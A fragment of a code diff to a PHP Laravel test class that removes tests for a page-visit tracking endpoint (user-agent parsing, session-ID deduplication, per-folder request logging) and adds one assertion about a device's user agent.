'CONTENT_TYPE' => 'application/json', - 'HTTP_USER_AGENT' => $ua, - ], json_encode([ - 'channelCode' => '56885688', - 'deviceVersion' => 'iOS 15.8', - 'domain' => 'xxbb.tv', - ]))->assertOk(); - - $row = PageVisit::query()->first(); - $this->assertNotNull($row); - $this->assertSame('iOS', $row->os); - $this->assertSame('15.8.4', $row->os_version); - $this->assertSame('Safari', $row->browser); - $this->assertSame('15.6.7', $row->browser_version); - } - - #[Test] - public function iptj_dedupes_by_session_id(): void - { - Cache::flush(); - $body = [ - 'channelCode' => '56885688', - 'deviceVersion' => 'iOS 16.6', - 'domain' => 'xxbb.tv', - 'sessionId' => '11111111-2222-4333-8444-555555555555', - ]; - - $this->call('POST', '/api/iptj', [], [], [], [ - 'CONTENT_TYPE' => 'application/json', - ], json_encode($body))->assertOk(); - Cache::flush(); - $this->call('POST', '/api/iptj', [], [], [], [ - 'CONTENT_TYPE' => 'application/json', - ], json_encode($body))->assertOk(); - $this->call('POST', '/api/iptj', [], [], [], [ - 'CONTENT_TYPE' => 'application/json', - ], json_encode([ - ...$body, - 'sessionId' => 'aaaaaaaa-bbbb-4ccc-8ddd-eeeeeeeeeeee', - ]))->assertOk(); - - $this->assertSame(2, PageVisit::query()->count()); - $this->assertSame( - '11111111-2222-4333-8444-555555555555', - PageVisit::query()->orderBy('id')->value('session_id'), - ); - } - #[Test] public function profile_creates_device_from_device_info(): void { @@ -143,6 +60,7 @@ class XxbbC2ApiTest extends TestCase $this->assertSame('iPhone12,8', $device->device_model); $this->assertSame('16.6', $device->ios_version); $this->assertNull($device->channel_id); + $this->assertNull($device->user_agent); } #[Test] @@ -480,38 +398,4 @@ class XxbbC2ApiTest extends TestCase $this->assertStringNotContainsString($marker, (string) file_get_contents($c2Log)); } } - - #[Test] - public function iptj_logs_request_to_xxbb_folder(): void - { - Cache::flush(); - $xxbbLog = public_path('log/xxbb/'.date('Ymd').'.log'); - $c2Log = public_path('log/c2/'.date('Ymd').'.log'); - @unlink($xxbbLog); - - $this->call('POST', '/api/iptj', [], [], [], [ - 'CONTENT_TYPE' => 'application/json', - 'HTTP_USER_AGENT' => 'Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X)', - 'HTTP_HOST' => 'landing.example', - 'HTTP_CF_CONNECTING_IP' => '2001:db8::9', - 'HTTP_X_FORWARDED_FOR' => '2001:db8::9', - 'REMOTE_ADDR' => '104.16.1.1', - ], json_encode([ - 'channelCode' => '56885688', - 'deviceVersion' => 'iOS 16.6', - 'domain' => 'xxbb.tv', - 'sessionId' => '11111111-2222-4333-8444-555555555555', - ]))->assertOk(); - - $this->assertFileExists($xxbbLog); - $xxbbBody = (string) file_get_contents($xxbbLog); - $this->assertStringContainsString('/api/iptj', $xxbbBody); - $this->assertStringContainsString('56885688', $xxbbBody); - $this->assertStringContainsString('2001:db8::9', $xxbbBody); - $this->assertStringContainsString('104.16.1.1', $xxbbBody); - $this->assertStringContainsString('"recorded":true', $xxbbBody); - if (is_file($c2Log)) { - $this->assertStringNotContainsString('56885688', (string) file_get_contents($c2Log)); - } - } }